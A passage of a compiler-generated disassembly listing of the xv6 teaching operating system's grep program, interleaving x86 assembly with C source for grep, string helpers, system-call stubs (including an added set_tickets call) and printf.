141: 5e pop %esi
142: 5d pop %ebp
143: c3 ret
int
match(char *re, char *text)
{
if(re[0] == '^')
return matchhere(re+1, text);
144: 83 c6 01 add $0x1,%esi
147: 89 75 08 mov %esi,0x8(%ebp)
do{ // must look at empty string
if(matchhere(re, text))
return 1;
}while(*text++ != '\0');
return 0;
}
14a: 83 c4 10 add $0x10,%esp
14d: 5b pop %ebx
14e: 5e pop %esi
14f: 5d pop %ebp
int
match(char *re, char *text)
{
if(re[0] == '^')
return matchhere(re+1, text);
150: e9 0b ff ff ff jmp 60 <matchhere>
155: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
159: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000160 <grep>:
char buf[1024];
int match(char*, char*);
void
grep(char *pattern, int fd)
{
160: 55 push %ebp
161: 89 e5 mov %esp,%ebp
163: 57 push %edi
164: 56 push %esi
165: 53 push %ebx
166: 83 ec 2c sub $0x2c,%esp
169: 8b 7d 08 mov 0x8(%ebp),%edi
16c: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
173: 90 nop
174: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
int n, m;
char *p, *q;
m = 0;
while((n = read(fd, buf+m, sizeof(buf)-m-1)) > 0){
178: b8 ff 03 00 00 mov $0x3ff,%eax
17d: 2b 45 e4 sub -0x1c(%ebp),%eax
180: 89 44 24 08 mov %eax,0x8(%esp)
184: 8b 45 e4 mov -0x1c(%ebp),%eax
187: 05 80 0a 00 00 add $0xa80,%eax
18c: 89 44 24 04 mov %eax,0x4(%esp)
190: 8b 45 0c mov 0xc(%ebp),%eax
193: 89 04 24 mov %eax,(%esp)
196: e8 e5 03 00 00 call 580 <read>
19b: 85 c0 test %eax,%eax
19d: 0f 8e b9 00 00 00 jle 25c <grep+0xfc>
m += n;
1a3: 01 45 e4 add %eax,-0x1c(%ebp)
buf[m] = '\0';
1a6: be 80 0a 00 00 mov $0xa80,%esi
1ab: 8b 45 e4 mov -0x1c(%ebp),%eax
1ae: c6 80 80 0a 00 00 00 movb $0x0,0xa80(%eax)
1b5: 8d 76 00 lea 0x0(%esi),%esi
p = buf;
while((q = strchr(p, '\n')) != 0){
1b8: c7 44 24 04 0a 00 00 movl $0xa,0x4(%esp)
1bf: 00
1c0: 89 34 24 mov %esi,(%esp)
1c3: e8 38 02 00 00 call 400 <strchr>
1c8: 85 c0 test %eax,%eax
1ca: 89 c3 mov %eax,%ebx
1cc: 74 42 je 210 <grep+0xb0>
*q = 0;
1ce: c6 03 00 movb $0x0,(%ebx)
if(match(pattern, p)){
1d1: 89 74 24 04 mov %esi,0x4(%esp)
1d5: 89 3c 24 mov %edi,(%esp)
1d8: e8 23 ff ff ff call 100 <match>
1dd: 85 c0 test %eax,%eax
1df: 75 07 jne 1e8 <grep+0x88>
1e1: 83 c3 01 add $0x1,%ebx
*q = '\n';
write(1, p, q+1 - p);
1e4: 89 de mov %ebx,%esi
1e6: eb d0 jmp 1b8 <grep+0x58>
buf[m] = '\0';
p = buf;
while((q = strchr(p, '\n')) != 0){
*q = 0;
if(match(pattern, p)){
*q = '\n';
1e8: c6 03 0a movb $0xa,(%ebx)
write(1, p, q+1 - p);
1eb: 83 c3 01 add $0x1,%ebx
1ee: 89 d8 mov %ebx,%eax
1f0: 29 f0 sub %esi,%eax
1f2: 89 74 24 04 mov %esi,0x4(%esp)
1f6: 89 de mov %ebx,%esi
1f8: 89 44 24 08 mov %eax,0x8(%esp)
1fc: c7 04 24 01 00 00 00 movl $0x1,(%esp)
203: e8 80 03 00 00 call 588 <write>
208: eb ae jmp 1b8 <grep+0x58>
20a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
}
p = q+1;
}
if(p == buf)
210: 81 fe 80 0a 00 00 cmp $0xa80,%esi
216: 74 38 je 250 <grep+0xf0>
m = 0;
if(m > 0){
218: 8b 45 e4 mov -0x1c(%ebp),%eax
21b: 85 c0 test %eax,%eax
21d: 0f 8e 55 ff ff ff jle 178 <grep+0x18>
m -= p - buf;
223: 81 45 e4 80 0a 00 00 addl $0xa80,-0x1c(%ebp)
22a: 29 75 e4 sub %esi,-0x1c(%ebp)
memmove(buf, p, m);
22d: 8b 45 e4 mov -0x1c(%ebp),%eax
230: 89 74 24 04 mov %esi,0x4(%esp)
234: c7 04 24 80 0a 00 00 movl $0xa80,(%esp)
23b: 89 44 24 08 mov %eax,0x8(%esp)
23f: e8 3c 02 00 00 call 480 <memmove>
244: e9 2f ff ff ff jmp 178 <grep+0x18>
249: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
250: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
257: e9 1c ff ff ff jmp 178 <grep+0x18>
}
}
}
25c: 83 c4 2c add $0x2c,%esp
25f: 5b pop %ebx
260: 5e pop %esi
261: 5f pop %edi
262: 5d pop %ebp
263: c3 ret
264: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
26a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000270 <main>:
int
main(int argc, char *argv[])
{
270: 55 push %ebp
271: 89 e5 mov %esp,%ebp
273: 83 e4 f0 and $0xfffffff0,%esp
276: 57 push %edi
277: 56 push %esi
278: 53 push %ebx
279: 83 ec 24 sub $0x24,%esp
27c: 8b 7d 08 mov 0x8(%ebp),%edi
27f: 8b 5d 0c mov 0xc(%ebp),%ebx
int fd, i;
char *pattern;
if(argc <= 1){
282: 83 ff 01 cmp $0x1,%edi
285: 0f 8e 95 00 00 00 jle 320 <main+0xb0>
printf(2, "usage: grep pattern [file ...]\n");
exit();
}
pattern = argv[1];
28b: 8b 43 04 mov 0x4(%ebx),%eax
if(argc <= 2){
28e: 83 ff 02 cmp $0x2,%edi
if(argc <= 1){
printf(2, "usage: grep pattern [file ...]\n");
exit();
}
pattern = argv[1];
291: 89 44 24 1c mov %eax,0x1c(%esp)
if(argc <= 2){
295: 74 71 je 308 <main+0x98>
grep(pattern, 0);
exit();
297: 83 c3 08 add $0x8,%ebx
29a: be 02 00 00 00 mov $0x2,%esi
29f: 90 nop
}
for(i = 2; i < argc; i++){
if((fd = open(argv[i], 0)) < 0){
2a0: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
2a7: 00
2a8: 8b 03 mov (%ebx),%eax
2aa: 89 04 24 mov %eax,(%esp)
2ad: e8 f6 02 00 00 call 5a8 <open>
2b2: 85 c0 test %eax,%eax
2b4: 78 32 js 2e8 <main+0x78>
printf(1, "grep: cannot open %s\n", argv[i]);
exit();
}
grep(pattern, fd);
2b6: 8b 54 24 1c mov 0x1c(%esp),%edx
if(argc <= 2){
grep(pattern, 0);
exit();
}
for(i = 2; i < argc; i++){
2ba: 83 c6 01 add $0x1,%esi
2bd: 83 c3 04 add $0x4,%ebx
if((fd = open(argv[i], 0)) < 0){
printf(1, "grep: cannot open %s\n", argv[i]);
exit();
}
grep(pattern, fd);
2c0: 89 44 24 04 mov %eax,0x4(%esp)
2c4: 89 44 24 18 mov %eax,0x18(%esp)
2c8: 89 14 24 mov %edx,(%esp)
2cb: e8 90 fe ff ff call 160 <grep>
close(fd);
2d0: 8b 44 24 18 mov 0x18(%esp),%eax
2d4: 89 04 24 mov %eax,(%esp)
2d7: e8 b4 02 00 00 call 590 <close>
if(argc <= 2){
grep(pattern, 0);
exit();
}
for(i = 2; i < argc; i++){
2dc: 39 f7 cmp %esi,%edi
2de: 7f c0 jg 2a0 <main+0x30>
exit();
}
grep(pattern, fd);
close(fd);
}
exit();
2e0: e8 83 02 00 00 call 568 <exit>
2e5: 8d 76 00 lea 0x0(%esi),%esi
exit();
}
for(i = 2; i < argc; i++){
if((fd = open(argv[i], 0)) < 0){
printf(1, "grep: cannot open %s\n", argv[i]);
2e8: 8b 03 mov (%ebx),%eax
2ea: c7 44 24 04 28 0a 00 movl $0xa28,0x4(%esp)
2f1: 00
2f2: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2f9: 89 44 24 08 mov %eax,0x8(%esp)
2fd: e8 9e 03 00 00 call 6a0 <printf>
exit();
302: e8 61 02 00 00 call 568 <exit>
307: 90 nop
exit();
}
pattern = argv[1];
if(argc <= 2){
grep(pattern, 0);
308: 89 04 24 mov %eax,(%esp)
30b: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
312: 00
313: e8 48 fe ff ff call 160 <grep>
exit();
318: e8 4b 02 00 00 call 568 <exit>
31d: 8d 76 00 lea 0x0(%esi),%esi
{
int fd, i;
char *pattern;
if(argc <= 1){
printf(2, "usage: grep pattern [file ...]\n");
320: c7 44 24 04 08 0a 00 movl $0xa08,0x4(%esp)
327: 00
328: c7 04 24 02 00 00 00 movl $0x2,(%esp)
32f: e8 6c 03 00 00 call 6a0 <printf>
exit();
334: e8 2f 02 00 00 call 568 <exit>
339: 90 nop
33a: 90 nop
33b: 90 nop
33c: 90 nop
33d: 90 nop
33e: 90 nop
33f: 90 nop
00000340 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
340: 55 push %ebp
341: 31 d2 xor %edx,%edx
343: 89 e5 mov %esp,%ebp
345: 8b 45 08 mov 0x8(%ebp),%eax
348: 53 push %ebx
349: 8b 5d 0c mov 0xc(%ebp),%ebx
34c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
char *os;
os = s;
while((*s++ = *t++) != 0)
350: 0f b6 0c 13 movzbl (%ebx,%edx,1),%ecx
354: 88 0c 10 mov %cl,(%eax,%edx,1)
357: 83 c2 01 add $0x1,%edx
35a: 84 c9 test %cl,%cl
35c: 75 f2 jne 350 <strcpy+0x10>
;
return os;
}
35e: 5b pop %ebx
35f: 5d pop %ebp
360: c3 ret
361: eb 0d jmp 370 <strcmp>
363: 90 nop
364: 90 nop
365: 90 nop
366: 90 nop
367: 90 nop
368: 90 nop
369: 90 nop
36a: 90 nop
36b: 90 nop
36c: 90 nop
36d: 90 nop
36e: 90 nop
36f: 90 nop
00000370 <strcmp>:
int
strcmp(const char *p, const char *q)
{
370: 55 push %ebp
371: 89 e5 mov %esp,%ebp
373: 8b 4d 08 mov 0x8(%ebp),%ecx
376: 53 push %ebx
377: 8b 55 0c mov 0xc(%ebp),%edx
while(*p && *p == *q)
37a: 0f b6 01 movzbl (%ecx),%eax
37d: 84 c0 test %al,%al
37f: 75 14 jne 395 <strcmp+0x25>
381: eb 25 jmp 3a8 <strcmp+0x38>
383: 90 nop
384: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
p++, q++;
388: 83 c1 01 add $0x1,%ecx
38b: 83 c2 01 add $0x1,%edx
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
38e: 0f b6 01 movzbl (%ecx),%eax
391: 84 c0 test %al,%al
393: 74 13 je 3a8 <strcmp+0x38>
395: 0f b6 1a movzbl (%edx),%ebx
398: 38 d8 cmp %bl,%al
39a: 74 ec je 388 <strcmp+0x18>
39c: 0f b6 db movzbl %bl,%ebx
39f: 0f b6 c0 movzbl %al,%eax
3a2: 29 d8 sub %ebx,%eax
p++, q++;
return (uchar)*p - (uchar)*q;
}
3a4: 5b pop %ebx
3a5: 5d pop %ebp
3a6: c3 ret
3a7: 90 nop
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
3a8: 0f b6 1a movzbl (%edx),%ebx
3ab: 31 c0 xor %eax,%eax
3ad: 0f b6 db movzbl %bl,%ebx
3b0: 29 d8 sub %ebx,%eax
p++, q++;
return (uchar)*p - (uchar)*q;
}
3b2: 5b pop %ebx
3b3: 5d pop %ebp
3b4: c3 ret
3b5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
3b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000003c0 <strlen>:
uint
strlen(char *s)
{
3c0: 55 push %ebp
int n;
for(n = 0; s[n]; n++)
3c1: 31 d2 xor %edx,%edx
return (uchar)*p - (uchar)*q;
}
uint
strlen(char *s)
{
3c3: 89 e5 mov %esp,%ebp
int n;
for(n = 0; s[n]; n++)
3c5: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
}
uint
strlen(char *s)
{
3c7: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
3ca: 80 39 00 cmpb $0x0,(%ecx)
3cd: 74 0c je 3db <strlen+0x1b>
3cf: 90 nop
3d0: 83 c2 01 add $0x1,%edx
3d3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
3d7: 89 d0 mov %edx,%eax
3d9: 75 f5 jne 3d0 <strlen+0x10>
;
return n;
}
3db: 5d pop %ebp
3dc: c3 ret
3dd: 8d 76 00 lea 0x0(%esi),%esi
000003e0 <memset>:
void*
memset(void *dst, int c, uint n)
{
3e0: 55 push %ebp
3e1: 89 e5 mov %esp,%ebp
3e3: 8b 55 08 mov 0x8(%ebp),%edx
3e6: 57 push %edi
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
3e7: 8b 4d 10 mov 0x10(%ebp),%ecx
3ea: 8b 45 0c mov 0xc(%ebp),%eax
3ed: 89 d7 mov %edx,%edi
3ef: fc cld
3f0: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
3f2: 89 d0 mov %edx,%eax
3f4: 5f pop %edi
3f5: 5d pop %ebp
3f6: c3 ret
3f7: 89 f6 mov %esi,%esi
3f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000400 <strchr>:
char*
strchr(const char *s, char c)
{
400: 55 push %ebp
401: 89 e5 mov %esp,%ebp
403: 8b 45 08 mov 0x8(%ebp),%eax
406: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx
for(; *s; s++)
40a: 0f b6 10 movzbl (%eax),%edx
40d: 84 d2 test %dl,%dl
40f: 75 11 jne 422 <strchr+0x22>
411: eb 15 jmp 428 <strchr+0x28>
413: 90 nop
414: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
418: 83 c0 01 add $0x1,%eax
41b: 0f b6 10 movzbl (%eax),%edx
41e: 84 d2 test %dl,%dl
420: 74 06 je 428 <strchr+0x28>
if(*s == c)
422: 38 ca cmp %cl,%dl
424: 75 f2 jne 418 <strchr+0x18>
return (char*)s;
return 0;
}
426: 5d pop %ebp
427: c3 ret
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
428: 31 c0 xor %eax,%eax
if(*s == c)
return (char*)s;
return 0;
}
42a: 5d pop %ebp
42b: 90 nop
42c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
430: c3 ret
431: eb 0d jmp 440 <atoi>
433: 90 nop
434: 90 nop
435: 90 nop
436: 90 nop
437: 90 nop
438: 90 nop
439: 90 nop
43a: 90 nop
43b: 90 nop
43c: 90 nop
43d: 90 nop
43e: 90 nop
43f: 90 nop
00000440 <atoi>:
return r;
}
int
atoi(const char *s)
{
440: 55 push %ebp
int n;
n = 0;
while('0' <= *s && *s <= '9')
441: 31 c0 xor %eax,%eax
return r;
}
int
atoi(const char *s)
{
443: 89 e5 mov %esp,%ebp
445: 8b 4d 08 mov 0x8(%ebp),%ecx
448: 53 push %ebx
int n;
n = 0;
while('0' <= *s && *s <= '9')
449: 0f b6 11 movzbl (%ecx),%edx
44c: 8d 5a d0 lea -0x30(%edx),%ebx
44f: 80 fb 09 cmp $0x9,%bl
452: 77 1c ja 470 <atoi+0x30>
454: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
n = n*10 + *s++ - '0';
458: 0f be d2 movsbl %dl,%edx
45b: 83 c1 01 add $0x1,%ecx
45e: 8d 04 80 lea (%eax,%eax,4),%eax
461: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
465: 0f b6 11 movzbl (%ecx),%edx
468: 8d 5a d0 lea -0x30(%edx),%ebx
46b: 80 fb 09 cmp $0x9,%bl
46e: 76 e8 jbe 458 <atoi+0x18>
n = n*10 + *s++ - '0';
return n;
}
470: 5b pop %ebx
471: 5d pop %ebp
472: c3 ret
473: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
479: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000480 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
480: 55 push %ebp
481: 89 e5 mov %esp,%ebp
483: 56 push %esi
484: 8b 45 08 mov 0x8(%ebp),%eax
487: 53 push %ebx
488: 8b 5d 10 mov 0x10(%ebp),%ebx
48b: 8b 75 0c mov 0xc(%ebp),%esi
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
48e: 85 db test %ebx,%ebx
490: 7e 14 jle 4a6 <memmove+0x26>
n = n*10 + *s++ - '0';
return n;
}
void*
memmove(void *vdst, void *vsrc, int n)
492: 31 d2 xor %edx,%edx
494: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
*dst++ = *src++;
498: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
49c: 88 0c 10 mov %cl,(%eax,%edx,1)
49f: 83 c2 01 add $0x1,%edx
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
4a2: 39 da cmp %ebx,%edx
4a4: 75 f2 jne 498 <memmove+0x18>
*dst++ = *src++;
return vdst;
}
4a6: 5b pop %ebx
4a7: 5e pop %esi
4a8: 5d pop %ebp
4a9: c3 ret
4aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
000004b0 <stat>:
return buf;
}
int
stat(char *n, struct stat *st)
{
4b0: 55 push %ebp
4b1: 89 e5 mov %esp,%ebp
4b3: 83 ec 18 sub $0x18,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
4b6: 8b 45 08 mov 0x8(%ebp),%eax
return buf;
}
int
stat(char *n, struct stat *st)
{
4b9: 89 5d f8 mov %ebx,-0x8(%ebp)
4bc: 89 75 fc mov %esi,-0x4(%ebp)
int fd;
int r;
fd = open(n, O_RDONLY);
if(fd < 0)
4bf: be ff ff ff ff mov $0xffffffff,%esi
stat(char *n, struct stat *st)
{
int fd;
int r;
fd = open(n, O_RDONLY);
4c4: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
4cb: 00
4cc: 89 04 24 mov %eax,(%esp)
4cf: e8 d4 00 00 00 call 5a8 <open>
if(fd < 0)
4d4: 85 c0 test %eax,%eax
stat(char *n, struct stat *st)
{
int fd;
int r;
fd = open(n, O_RDONLY);
4d6: 89 c3 mov %eax,%ebx
if(fd < 0)
4d8: 78 19 js 4f3 <stat+0x43>
return -1;
r = fstat(fd, st);
4da: 8b 45 0c mov 0xc(%ebp),%eax
4dd: 89 1c 24 mov %ebx,(%esp)
4e0: 89 44 24 04 mov %eax,0x4(%esp)
4e4: e8 d7 00 00 00 call 5c0 <fstat>
close(fd);
4e9: 89 1c 24 mov %ebx,(%esp)
int r;
fd = open(n, O_RDONLY);
if(fd < 0)
return -1;
r = fstat(fd, st);
4ec: 89 c6 mov %eax,%esi
close(fd);
4ee: e8 9d 00 00 00 call 590 <close>
return r;
}
4f3: 89 f0 mov %esi,%eax
4f5: 8b 5d f8 mov -0x8(%ebp),%ebx
4f8: 8b 75 fc mov -0x4(%ebp),%esi
4fb: 89 ec mov %ebp,%esp
4fd: 5d pop %ebp
4fe: c3 ret
4ff: 90 nop
00000500 <gets>:
return 0;
}
char*
gets(char *buf, int max)
{
500: 55 push %ebp
501: 89 e5 mov %esp,%ebp
503: 57 push %edi
504: 56 push %esi
505: 31 f6 xor %esi,%esi
507: 53 push %ebx
508: 83 ec 2c sub $0x2c,%esp
50b: 8b 7d 08 mov 0x8(%ebp),%edi
int i, cc;
char c;
for(i=0; i+1 < max; ){
50e: eb 06 jmp 516 <gets+0x16>
cc = read(0, &c, 1);
if(cc < 1)
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
510: 3c 0a cmp $0xa,%al
512: 74 39 je 54d <gets+0x4d>
514: 89 de mov %ebx,%esi
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
516: 8d 5e 01 lea 0x1(%esi),%ebx
519: 3b 5d 0c cmp 0xc(%ebp),%ebx
51c: 7d 31 jge 54f <gets+0x4f>
cc = read(0, &c, 1);
51e: 8d 45 e7 lea -0x19(%ebp),%eax
521: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
528: 00
529: 89 44 24 04 mov %eax,0x4(%esp)
52d: c7 04 24 00 00 00 00 movl $0x0,(%esp)
534: e8 47 00 00 00 call 580 <read>
if(cc < 1)
539: 85 c0 test %eax,%eax
53b: 7e 12 jle 54f <gets+0x4f>
break;
buf[i++] = c;
53d: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
541: 88 44 1f ff mov %al,-0x1(%edi,%ebx,1)
if(c == '\n' || c == '\r')
545: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
549: 3c 0d cmp $0xd,%al
54b: 75 c3 jne 510 <gets+0x10>
54d: 89 de mov %ebx,%esi
break;
}
buf[i] = '\0';
54f: c6 04 37 00 movb $0x0,(%edi,%esi,1)
return buf;
}
553: 89 f8 mov %edi,%eax
555: 83 c4 2c add $0x2c,%esp
558: 5b pop %ebx
559: 5e pop %esi
55a: 5f pop %edi
55b: 5d pop %ebp
55c: c3 ret
55d: 90 nop
55e: 90 nop
55f: 90 nop
00000560 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
560: b8 01 00 00 00 mov $0x1,%eax
565: cd 40 int $0x40
567: c3 ret
00000568 <exit>:
SYSCALL(exit)
568: b8 02 00 00 00 mov $0x2,%eax
56d: cd 40 int $0x40
56f: c3 ret
00000570 <wait>:
SYSCALL(wait)
570: b8 03 00 00 00 mov $0x3,%eax
575: cd 40 int $0x40
577: c3 ret
00000578 <pipe>:
SYSCALL(pipe)
578: b8 04 00 00 00 mov $0x4,%eax
57d: cd 40 int $0x40
57f: c3 ret
00000580 <read>:
SYSCALL(read)
580: b8 05 00 00 00 mov $0x5,%eax
585: cd 40 int $0x40
587: c3 ret
00000588 <write>:
SYSCALL(write)
588: b8 10 00 00 00 mov $0x10,%eax
58d: cd 40 int $0x40
58f: c3 ret
00000590 <close>:
SYSCALL(close)
590: b8 15 00 00 00 mov $0x15,%eax
595: cd 40 int $0x40
597: c3 ret
00000598 <kill>:
SYSCALL(kill)
598: b8 06 00 00 00 mov $0x6,%eax
59d: cd 40 int $0x40
59f: c3 ret
000005a0 <exec>:
SYSCALL(exec)
5a0: b8 07 00 00 00 mov $0x7,%eax
5a5: cd 40 int $0x40
5a7: c3 ret
000005a8 <open>:
SYSCALL(open)
5a8: b8 0f 00 00 00 mov $0xf,%eax
5ad: cd 40 int $0x40
5af: c3 ret
000005b0 <mknod>:
SYSCALL(mknod)
5b0: b8 11 00 00 00 mov $0x11,%eax
5b5: cd 40 int $0x40
5b7: c3 ret
000005b8 <unlink>:
SYSCALL(unlink)
5b8: b8 12 00 00 00 mov $0x12,%eax
5bd: cd 40 int $0x40
5bf: c3 ret
000005c0 <fstat>:
SYSCALL(fstat)
5c0: b8 08 00 00 00 mov $0x8,%eax
5c5: cd 40 int $0x40
5c7: c3 ret
000005c8 <link>:
SYSCALL(link)
5c8: b8 13 00 00 00 mov $0x13,%eax
5cd: cd 40 int $0x40
5cf: c3 ret
000005d0 <mkdir>:
SYSCALL(mkdir)
5d0: b8 14 00 00 00 mov $0x14,%eax
5d5: cd 40 int $0x40
5d7: c3 ret
000005d8 <chdir>:
SYSCALL(chdir)
5d8: b8 09 00 00 00 mov $0x9,%eax
5dd: cd 40 int $0x40
5df: c3 ret
000005e0 <dup>:
SYSCALL(dup)
5e0: b8 0a 00 00 00 mov $0xa,%eax
5e5: cd 40 int $0x40
5e7: c3 ret
000005e8 <getpid>:
SYSCALL(getpid)
5e8: b8 0b 00 00 00 mov $0xb,%eax
5ed: cd 40 int $0x40
5ef: c3 ret
000005f0 <sbrk>:
SYSCALL(sbrk)
5f0: b8 0c 00 00 00 mov $0xc,%eax
5f5: cd 40 int $0x40
5f7: c3 ret
000005f8 <sleep>:
SYSCALL(sleep)
5f8: b8 0d 00 00 00 mov $0xd,%eax
5fd: cd 40 int $0x40
5ff: c3 ret
00000600 <set_tickets>:
SYSCALL(set_tickets)
600: b8 16 00 00 00 mov $0x16,%eax
605: cd 40 int $0x40
607: c3 ret
608: 90 nop
609: 90 nop
60a: 90 nop
60b: 90 nop
60c: 90 nop
60d: 90 nop
60e: 90 nop
60f: 90 nop
00000610 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
610: 55 push %ebp
611: 89 e5 mov %esp,%ebp
613: 57 push %edi
614: 89 cf mov %ecx,%edi
616: 56 push %esi
617: 89 c6 mov %eax,%esi
619: 53 push %ebx
61a: 83 ec 4c sub $0x4c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
61d: 8b 4d 08 mov 0x8(%ebp),%ecx
620: 85 c9 test %ecx,%ecx
622: 74 04 je 628 <printint+0x18>
624: 85 d2 test %edx,%edx
626: 78 68 js 690 <printint+0x80>
neg = 1;
x = -xx;
} else {
x = xx;
628: 89 d0 mov %edx,%eax
62a: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
631: 31 c9 xor %ecx,%ecx
633: 8d 5d d7 lea -0x29(%ebp),%ebx
636: 66 90 xchg %ax,%ax
}
i = 0;
do{
buf[i++] = digits[x % base];
638: 31 d2 xor %edx,%edx
63a: f7 f7 div %edi
63c: 0f b6 92 45 0a 00 00 movzbl 0xa45(%edx),%edx
643: 88 14 0b mov %dl,(%ebx,%ecx,1)
646: 83 c1 01 add $0x1,%ecx
}while((x /= base) != 0);
649: 85 c0 test %eax,%eax
64b: 75 eb jne 638 <printint+0x28>
if(neg)
64d: 8b 45 c4 mov -0x3c(%ebp),%eax
650: 85 c0 test %eax,%eax
652: 74 08 je 65c <printint+0x4c>
buf[i++] = '-';
654: c6 44 0d d7 2d movb $0x2d,-0x29(%ebp,%ecx,1)
659: 83 c1 01 add $0x1,%ecx
while(--i >= 0)
65c: 8d 79 ff lea -0x1(%ecx),%edi
65f: 90 nop
660: 0f b6 04 3b movzbl (%ebx,%edi,1),%eax
664: 83 ef 01 sub $0x1,%edi
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
667: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
66e: 00
66f: 89 34 24 mov %esi,(%esp)
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
672: 88 45 e7 mov %al,-0x19(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
675: 8d 45 e7 lea -0x19(%ebp),%eax
678: 89 44 24 04 mov %eax,0x4(%esp)
67c: e8 07 ff ff ff call 588 <write>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
681: 83 ff ff cmp $0xffffffff,%edi
684: 75 da jne 660 <printint+0x50>
putc(fd, buf[i]);
}
686: 83 c4 4c add $0x4c,%esp
689: 5b pop %ebx
68a: 5e pop %esi
68b: 5f pop %edi
68c: 5d pop %ebp
68d: c3 ret
68e: 66 90 xchg %ax,%ax
uint x;
neg = 0;
if(sgn && xx < 0){
neg = 1;
x = -xx;
690: 89 d0 mov %edx,%eax
692: f7 d8 neg %eax
694: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
69b: eb 94 jmp 631 <printint+0x21>
69d: 8d 76 00 lea 0x0(%esi),%esi
000006a0 <printf>:
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
6a0: 55 push %ebp
6a1: 89 e5 mov %esp,%ebp
6a3: 57 push %edi
6a4: 56 push %esi
6a5: 53 push %ebx
6a6: 83 ec 3c sub $0x3c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
6a9: 8b 45 0c mov 0xc(%ebp),%eax
6ac: 0f b6 10 movzbl (%eax),%edx
6af: 84 d2 test %dl,%dl
6b1: 0f 84 c1 00 00 00 je 778 <printf+0xd8>
char *s;
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
6b7: 8d 4d 10 lea 0x10(%ebp),%ecx
6ba: 31 ff xor %edi,%edi
6bc: 89 4d d4 mov %ecx,-0x2c(%ebp)
6bf: 31 db xor %ebx,%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
6c1: 8d 75 e7 lea -0x19(%ebp),%esi
6c4: eb 1e jmp 6e4 <printf+0x44>
6c6: 66 90 xchg %ax,%ax
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
6c8: 83 fa 25 cmp $0x25,%edx
6cb: 0f 85 af 00 00 00 jne 780 <printf+0xe0>
6d1: 66 bf 25 00 mov $0x25,%di
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
6d5: 83 c3 01 add $0x1,%ebx
6d8: 0f b6 14 18 movzbl (%eax,%ebx,1),%edx
6dc: 84 d2 test %dl,%dl
6de: 0f 84 94 00 00 00 je 778 <printf+0xd8>
c = fmt[i] & 0xff;
if(state == 0){
6e4: 85 ff test %edi,%edi
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
